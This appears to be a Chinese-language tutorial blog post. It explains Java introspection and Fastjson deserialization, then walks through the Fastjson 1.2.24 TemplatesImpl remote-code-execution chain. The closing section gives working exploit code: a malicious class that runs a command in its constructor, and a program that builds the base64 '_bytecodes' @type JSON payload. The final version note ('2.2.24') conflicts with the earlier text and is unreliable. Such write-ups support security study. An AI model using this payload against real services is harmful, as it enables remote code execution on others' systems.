文章目录
- 一、Java自省机制简介
- 二、漏洞分析
- 三、漏洞利用
一、Java自省机制简介
Java自省机制是Java语言对JavaBean类属性、事件的一种缺省转换方式,对于类的私有属性需要设置set/get方法来获取和设置值的这是一种默认规则,而在Java中存在一个API让我们可以不用去了解这个规则这个API在包java.beans中的,通过这个API可以直接掉类中get/set方法去读取和设置类属性值
import java.beans.PropertyDescriptor;
import java.lang.reflect.Method;
public class JavaTest {
public static void main(String[] args) throws java.beans.IntrospectionException, IllegalAccessException, IllegalArgumentException,java.lang.reflect.InvocationTargetException{
Point point = new Point(2,3);
String proname = "x";//设置属性名
PropertyDescriptor propertyDescriptor = new PropertyDescriptor(proname,Point.class);//实例化一个类属性描述器对象
Method methodsetX = propertyDescriptor.getWriteMethod();//定义一个方法或得写入属性值的方法
methodsetX.invoke(point,8);//自动调用setX方法给X赋值,相当于我们不需要去了解setX这个方法使用API来完成,类中必须要有这个方法
System.out.println(point.getX());
}
}
class Point{//自定义的一个类
private int x;
private int y;
public Point(int x, int y){
super();
this.x = x;
this.y = y;
}
public int getX() {
return x;
}
public void setX(int x) {
this.x = x;
}
public int getY() {
return y;
}
public void setY(int y) {
this.y = y;
}
}
JSON本身是不能识别数据类型的,而Fastjson实现了这样的自省功能,可以识别为一个对象调用函数进行序列化为一个对象,自动去调用类中的set方法进行赋值
import com.alibaba.fastjson.JSON;
public class JavaTest {
public static void main(String[] args) throws java.beans.IntrospectionException,
System.out.println(point.getX());*/
String json = "{\"x\":12,\"y\":\"13\"}";//传入一个json数据
Point point = JSON.parseObject(json, Point.class);//调用fastjson进行反序列化生成一个对象
System.out.println(point.getX());
}
}
class Point{//自定义的一个类
private int x;
private int y;
public int getX() {
return x;
}
public void setX(int x) {
this.x = x;
}
public int getY() {
return y;
}
public void setY(int y) {
this.y = y;
}
}
二、漏洞分析
首先来看一下序列化之后的字符串格式吧
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class JavaTest {
public static void main(String[] args) throws java.beans.IntrospectionException, IllegalAccessException, IllegalArgumentException,java.lang.reflect.InvocationTargetException{
Point point = new Point(2,3);
String testjson = JSON.toJSONString(point, SerializerFeature.WriteClassName);
System.out.println(testjson);
}
}
class Point{//自定义的一个类
private int x;
private int y;
public Point(int x, int y){
super();
this.x = x;
this.y = y;
}
public int getX() {
return x;
}
public void setX(int x) {
this.x = x;
}
public int getY() {
return y;
}
public void setY(int y) {
this.y = y;
}
}
运行之后的输出结果如下,可以看到其中包含了一个@type和类名
然后当我们传入一个json数据包含了@type的时候,在调用JSON.parse的时候就会进行反序列化生成一个对象
所以我们可以思考传入一个可以被利用的类进行反序列化,触发恶意代码执行,在1.2.24爆出的漏洞包含了如下类的可以进行利用:
- Collection
- Map
- AtomicBoolean
- AtomicInteger
- AtomicLong
并且知道 Properties
类继承自 Hashtable
,同时在 Hashtable
中实现了Map接口,所以只需找到包含了Properties
类的地方就行了,在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
中发现了该类的变量
根据前面的分析只要我们传入的JSON数据中有@type就会进行去反序列化生成对象,所以可以在传入的JSON中包含@type:TemplatesImpl
,在进行生成对象的时候会给属性赋值,在接收到 _outputProperties
这个参数的时候会调用 TemplatesImpl
中的 getoutputProperties
方法,该方法里面调用了 newTransformer()
方法
继续跟进该方法发现实例化了一个 TransformerImpl
对象,并且调用了 getTransletInstance()
方法
跟进getTransletInstance()
方法发现在_class为null的时候会执行 defineTransletClasses()
defineTransletClass es()
方法中写到将 _bytecodes[]
中的类通过类加载赋值给 _class[]
,并且如果类的父类与ABSTRACT_TRANSLET
常量相同,则 _transletIndex
等于当前索引
执行完之后返回,进行 AbstractTranslet
对象实例化,调用 newInstance()
,该方法有一个缺点只能使用无参构造函数,也就是说我们构造一个恶意类该类在实例化的时候会调用构造函数,但是只能是无参构造函数
经过分析可以得到我们需要将@type
值设为 TemplatesImpl
构造一个恶意类在该类的无参构造函数中执行我们想要执行的命令,然后生成class文件将这个二进制文件内容赋值给 _bytecodes[]
然后通过实例化的时候调用构造函数进而运行恶意代码,但是这里存在一个点如何将二进制赋值给数组内,这就涉及到了 com.alibaba.fastjson.parser.JSONScanner.bytesValue()
方法,在该方法中识别到数据是base64编码的话会自动解码,所以可以将二进制数据先进行编码传给数组
三、漏洞利用
首先构造一个恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Exec extends AbstractTranslet{
public Exec() throws java.io.IOException{
Runtime.getRuntime().exec("calc");
}
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
然后编译生成二进制的class文件
然后将二进制文件内容进行base64之后赋值给 _bytecodes[]
,需要下载 commons.io
包进行导入添加到库
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import org.apache.commons.io.IOUtils;
import java.util.Base64;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class JavaTest {
public static void main(String[] args) throws java.io.IOException,java.io.FileNotFoundException,java.beans.IntrospectionException, IllegalAccessException, IllegalArgumentException,java.lang.reflect.InvocationTargetException{
ParserConfig config = new ParserConfig();
String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ByteArrayOutputStream bos = new ByteArrayOutputStream();
IOUtils.copy(new FileInputStream(new File("d:/JavaIDE/Projects/src/Exec.class")),bos);
String bytecode = Base64.getEncoder().encodeToString(bos.toByteArray());
String json = "{\"@type\":\"" + className + "\",\"_bytecodes\":[\"" + bytecode + "\"],'_name':'','_tfactory':{ },\"_outputProperties\":{ },\"_name\":\"\",\"_version\":\"\",\"allowedProtocols\":\"\"}";
System.out.println(json);
JSON.parse(json,Feature.SupportNonPublicField);
}
}
运行结果,成功运行了计算器
PS:这是在fastjson2.2.24版本中利用的